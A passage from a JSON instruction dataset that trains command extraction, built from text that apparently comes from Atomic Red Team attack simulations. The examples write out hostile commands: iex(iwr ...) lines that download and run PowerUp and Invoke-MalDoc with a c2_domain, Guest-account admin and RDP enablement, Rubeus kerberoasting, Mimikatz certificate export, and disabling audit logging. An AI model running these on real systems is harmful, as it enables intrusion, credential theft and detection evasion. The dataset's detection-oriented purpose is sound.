}`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To briefly run the DirLister executable before terminating it, use the following command:\nStart-Process \"#{dirlister_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n; The following commands will activate the Default Guest account, grant administrative and remote desktop privileges, and configure the system to permit multiple RDP sessions: net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f", "output": "{\"command_list\": [\"Start-Process \\\"#{dirlister_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"DirLister\\\"\\n\", \"net user #{guest_user} /active:yes\\nnet user #{guest_user} #{guest_password}\\nnet localgroup #{local_admin_group} #{guest_user} /add\\nnet localgroup \\\"#{remote_desktop_users_group_name}\\\" #{guest_user} /add\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"AllowTSConnections\\\" /t REG_DWORD /d 0x1 /f\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For information about Rubeus and its creators, visit https://github.com/GhostPack/Rubeus#asreproast. This build targets .NET 4.5, but you'll need to compile Rubeus if targeting a different version. Execute this command to perform kerberoasting: klist purge\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" kerberoast #{flags} /outfile:\"#{local_folder}\\#{out_file}\"\n; During a Kerberos attack, you can retrieve all SPNs for the target domain by executing this command: setspn -T #{domain_name} -Q */*", "output": "{\"command_list\": [\"klist purge\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" kerberoast #{flags} /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\", \"setspn -T #{domain_name} -Q */*\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Verify your anti-PUA protection by downloading and running a test file with the command: Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\n& \"#{pua_file}\"; The execution flow involves loading VBA code into Office documents via [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1), with the following PowerShell command handling the download operation:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"", "output": "{\"command_list\": [\"Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\\n& \\\"#{pua_file}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macroCode = Get-Content \\\"#{macro_path}\\\" -Raw\\n$URL = \\\"#{c2_domain}\\\" + \\\"/\\\" + \\\"#{c2_parent_directory}\\\"\\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \\\"#{file_name}\\\"\\nInvoke-MalDoc -macroCode $macroCode -officeProduct \\\"#{ms_product}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An Event Hub, used for processing large volumes of events, can be deleted by an adversary to avoid detection. This can be done using the command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-AzureAD -Credential $creds\nRemove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}; To disable mailbox audit logging, you'll need to use the Exchange Management Shell with the following command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\n", "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-AzureAD -Credential $creds\\nRemove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}\\n\", \"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To manage services on macOS, you can use the following command: launchctl submit -l #{label_name} -- #{executable_path}; After the test completes, you'll find the txt files compressed into T1560.001-data.rar by executing: \"#{rar_exe}\" a -r #{output_file} #{input_path}\\*#{file_extension}\n", "output": "{\"command_list\": [\"launchctl submit -l #{label_name} -- #{executable_path}\\n\", \"\\\"#{rar_exe}\\\" a -r #{output_file} #{input_path}\\\\*#{file_extension}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using Mimikatz to dump certificates from the local machine's My store requires executing this command: \"#{mimikatz_exe}\" \"crypto::certificates /systemstore:local_machine /store:my /export\" exit; To exploit user behavior, adversaries may use a malicious image, which can be executed with the following command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk", "output": "{\"command_list\": [\"\\\"#{mimikatz_exe}\\\" \\\"crypto::certificates /systemstore:local_machine /store:my /export\\\" exit\\n\", \"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The HTA application can be launched with the JScript engine and inline protocol handler via this command: Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}; The HTA application can be executed with lateral movement simulation over a UNC path by issuing the command: Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}", "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}\", \"Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath 